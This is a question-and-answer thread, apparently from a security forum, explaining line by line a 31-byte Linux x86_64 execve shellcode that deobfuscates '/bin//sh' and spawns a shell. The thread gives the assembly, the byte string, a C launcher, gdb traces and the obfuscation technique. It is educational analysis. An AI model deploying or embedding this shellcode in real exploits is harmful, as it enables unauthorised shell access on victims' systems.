5

I stumbled upon this 31 bytes of Linux x86_64 Polymorphic execve Shellcode, posted by the author "d4sh&r":

The code seems to be a combination of assembly and C and looks like this:

/*
;Title: polymorphic execve shellcode
;Author: d4sh&r
;Contact: https://mx.linkedin.com/in/d4v1dvc
;Category: Shellcode
;Architecture:linux x86_64
;SLAE64-1379
;Description:
;Polymorphic shellcode in 31 bytes to get a shell 
;Tested on : Linux kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 x86_64 GNU/Linux

;Compilation and execution
;nasm -felf64 shell.nasm -o shell.o
;ld shell.o -o shell
;./shell

global _start

_start:
    mul esi
    push rdx
    mov al,1                         
    mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh 
    rol rbx,24
    shr rbx,1
    push rbx
    lea rdi, [rsp] ;address of /bin//sh
    add al,58
    syscall

*/
#include<stdio.h>
//gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";

main()
{
   int (*ret)()=(int(*)()) code;
    ret();
}

I was curious, what do each of the lines 17-40 do, specifically, and how does this accomplish an exploit?

(Line 17 is the one with the expression "global _start")

2 Answers 2

11

EDIT: @EnricoGhirardi Thanks for pointing the mul esi inaccuracy I previously posted!

To start out, the first instruction mul esi zeroes out rax and rdx in the example below (this is only because rsi is 0 to begin with). The least significant bits will be stored in rax and the most significant bits will be stored in rdx. Both of these registers will be zero. We can verify this with the following after compiling the test code:

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
gdb shellcode

**BANNER SNIPPED**

Dump of assembler code for function main:
   0x00000000004004ed <+0>:     push   %rbp
   0x00000000004004ee <+1>:     mov    %rsp,%rbp
   0x00000000004004f1 <+4>:     sub    $0x10,%rsp
   0x00000000004004f5 <+8>:     movq   $0x601060,-0x8(%rbp)
   0x00000000004004fd <+16>:    mov    -0x8(%rbp),%rdx
   0x0000000000400501 <+20>:    mov    $0x0,%eax
   0x0000000000400506 <+25>:    callq  *%rdx
   0x0000000000400508 <+27>:    leaveq 
   0x0000000000400509 <+28>:    retq   
End of assembler dump.
(gdb) b *0x0000000000400506
Breakpoint 1 at 0x400506
(gdb) c
The program is not being run.
(gdb) r


Breakpoint 1, 0x0000000000400506 in main ()
(gdb) si
0x0000000000601060 in code ()
(gdb) disas
Dump of assembler code for function code:
=> 0x0000000000601060 <+0>:     mul    %esi
   0x0000000000601062 <+2>:     push   %rdx
   0x0000000000601063 <+3>:     mov    $0x1,%al
   0x0000000000601065 <+5>:     movabs $0xd2c45ed0e65e5edc,%rbx
   0x000000000060106f <+15>:    rol    $0x18,%rbx
   0x0000000000601073 <+19>:    shr    %rbx
   0x0000000000601076 <+22>:    push   %rbx
   0x0000000000601077 <+23>:    lea    (%rsp),%rdi
   0x000000000060107b <+27>:    add    $0x3a,%al
   0x000000000060107d <+29>:    syscall 
   0x000000000060107f <+31>:    add    %al,(%rax)
End of assembler dump.
(gdb) i r rax rdx
rax            0x0      0
rdx            0x601060 6295648
(gdb) si
0x0000000000601062 in code ()
(gdb) i r rax rdx
rax            0x0      0
rdx            0x0      0

As we can see, rax and rdx are both 0, which means that esi (or rsi) has been multiplied by zero.

This is important because the shellcode eventually uses a syscall on line 29. We can see that syscall on line 29 is preceded by add al,58 where al is already 1, therefore the rax register will hold a value of 59.

The number 59 is the index for execve in the Linux x86_64 syscall table

execve will execute /bin//sh. Let's check out the function prototype:

int execve(const char *filename, char *const argv[], 
       char *const envp[]); 

According to the prototype's description, filename must be either a binary executable, or a script starting with a line of the form "#! interpreter [arg]"

We will see that eventually the shellcode passed /bin//sh as this argument.

argv are just the arguments passed to the binary. In this case, the arguments are NULL because as we have seen before, the rsi register was previously zeroed out on line 20.

Similarly, envp are the environment arguments passed to the binary. Again, there are none because we have seen that the mul %esi instruction has zeroed out both rsi and rdx. In x86_64 Linux, the rsi and rdx registers are the second and third arguments to execve() respectively.

You can find more information on x86_64 calling conventions here to see how arguments are passed into functions.

Finally, the first argument in execve is /bin//sh, which is eventually passed to the edi register. edi holds the first function argument in Linux x86_64 assembly.

The interesting part is that this is polymorphic shellcode. We can think of polymorphic shellcode as obfuscated machine instructions that deobfuscate themselves upon execution.

On line 23, the hex string 0xd2c45ed0e65e5edc in ascii is ÒÄ^Ðæ^^Ü which is clearly obfuscated.

Lines 24 and 25 deobfuscate this string and we get 0x68732f2f6e69622f which is hs//nib/ in ascii. This is /bin//sh spelt backwards because the argument is passed to execve() in little endian byte order.

For proof of concept, you can run the code in gdb, or use the following deobfuscator I wrote:

#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>

uint64_t rol(uint64_t v, unsigned int bits)
{
  return (v<<bits) | (v>>(8*sizeof(uint64_t)-bits));
}

int main(void)
{
  uint64_t obfuscated = 0xd2c45ed0e65e5edc;
  uint64_t deobfuscated = rol(obfuscated, 24);
  deobfuscated /= 2;
  printf("0x%" PRIx64 "\n", deobfuscated);
  return 0;
}

You will get the deobfuscated hex string 0x68732f2f6e69622f which again, is hs//nib/ in ascii.

Line 26 pushes the deobfuscated /bin//sh on top of the stack (i.e. in the rsp register) and line 27 loads the address pointing to the string /bin//sh into rdi. Again, please note that this string is being passed in little endian byte ordering. Now we can clearly see that /bin//sh is the first argument in execve()

Then, the shell is executed on line 29.

Below is a commented pseudocode summary:

_start:
    mul esi                     ; When this shellcode is executed, rsi and rdx become 0 because they are multiplied by rax which is 0, in Linux x86_64 assembly, rsi is the second argument in a function
    push rdx                    ; save rdx (i.e. the buffer pointer to the shellcode), rdx is also the third argument passed to a syscall in x86_64
    mov al,1                    ; used for obfuscation since mov al, 59 followed by syscall may look suspicious                       
    mov rbx, 0xd2c45ed0e65e5edc ;/bin//sh obfuscated 
    rol rbx,24                  ; Deobfuscate the hex string /bin//sh
    shr rbx,1                   ; Division by 2 to further deobfuscate /bin//sh
    push rbx                    ; Push the hex string on the top of the stack [in rsp]
    lea rdi, [rsp]              ; Load /bin//sh into rdi in little endian
                                ; in linux 86_64 the first argument is passed to rdi during a syscall
    add al,58                   ; al = 59 i.e. call execve
    syscall                     ; execve("/bin//sh", 0, *shellcode_buffer)

As for the C code, the machine instructions that represent the compiled assembly from lines 17 - 29 are stored in a global variable. We can use the following commands to check the bytes from the shellcode:

    $ nasm -felf64 shell.asm -o shell.o
    $ ld shell.o -o shell
    $ xxd shell

    CONTENT SNIPPED
    00000080: f7e6 52b0 0148 bbdc 5e5e e6d0 5ec4 d248  ..R..H..^^..^..H
    00000090: c1c3 1848 d1eb 5348 8d3c 2404 3a0f 0500  ...H..SH.<$.:...

As we can see, it matches with the following buffer in the C code:

unsigned char code[] = "\xf7\xe6\x52\xb0\x01\x48\xbb\xdc\x5e\x5e\xe6\xd0\x5e\xc4\xd2\x48\xc1\xc3\x18\x48\xd1\xeb\x53\x48\x8d\x3c\x24\x04\x3a\x0f\x05";

The code in main simply casts the string buffer global variable into a function pointer which is then called, executing the polymorphic shellcode, and spawning a shell.

Finally, shellcode is just a possible part of an exploit. An exploit consists of an input that is precisely tailored to a specific version of a program and OS. The shellcode can be part of the payload, but operating systems have became more secure adding ASLR (Address Stack Layout Randomization) and DEP (Data Execution Prevention), so generally it is more practical to overwrite a function pointer in to GOT (Global Offset Table) than to inject shellcode into a buffer. Assuming that you were performing a generic stack buffer overflow, the buffer would have to be at least 0x19 bytes long. You would also need some more space to compensate for the rest of the exploit. In other words, you would need a buffer with enough space to fit the shellcode and the rest of the exploit so that you could overwrite the RET address on the stack to redirect program execution (RIP/EIP) to your shellcode.

This is just an example, but there are many more ways this shellcode can be used in a exploit.

Taking a few steps back, this shellcode could fail if esi/rsi is not 0 to begin with because if it is not zero, then we will have a second argument passed into execve() and possibly even a third agument if the result from the instruction mul esi overflows into edx. The shellcode would be more reliable if there were an xor esi, esi instruction preceeding the mul esi instruction.

We also might think how the exploit developer came up with the obfuscated hex string 0xd2c45ed0e65e5edc. They simply took original string hs//nib/ and applied the deobfuscating instructions in reverse order. You can use the following code for proof of concept:

#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>

uint64_t ror(uint64_t v, unsigned int bits)
{
  return (v>>bits) | (v<<(8*sizeof(uint64_t)-bits));
}

int main(void)
{
  uint64_t deobfuscated = 0x68732f2f6e69622f;
  uint64_t obfuscated = deobfuscated * 2;
  obfuscated = ror(obfuscated, 24);
  printf("0x%" PRIx64 "\n", obfuscated);
  return 0;
}

You should get the original obfuscated hex string 0xd2c45ed0e65e5edc.

2
  • thank you @itsbriany for the exhaustive answer and all those references.
    – x457812
    Nov 26, 2015 at 16:12
  • Great answer! But the code in question is far from being polymorphic.
    – mikalai
    Nov 30, 2015 at 19:57
6

The answer above is correct for the most part but it includes some inaccuracies. I can't comment so I'll add the corrections in this answer.

First I don't think this is a good shellcode since it takes an assumption on both %rax and %rsi. @itsbriany correctly points out that %rax is zero, but that is the case only in the specific launcher that the author wrote. When defining the ret function the number of arguments isn't specified, making it for the C standard a variadic function. For the x86_64 ABI, if a function has variable arguments then AL (which is part of EAX) is expected to hold the number of vector registers used to hold arguments to that function. Just by changing the definition to ret like this:

int (*ret)(void)=(int(*)()) code;

results in a segmentation fault. Then the operation

mul esi

doesn't zero out %esi as the other answers implies. In this case it multiplies %esi and %eax and stores upper bits in %edx lower bits in %eax, thus clearing %edx as a result. %esi is never modified and in fact it still points to the argv array of the original program. In another program where %esi has some invalid values the shell code won't work either. Also %edx is pushed on the stack for no reason it seems.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.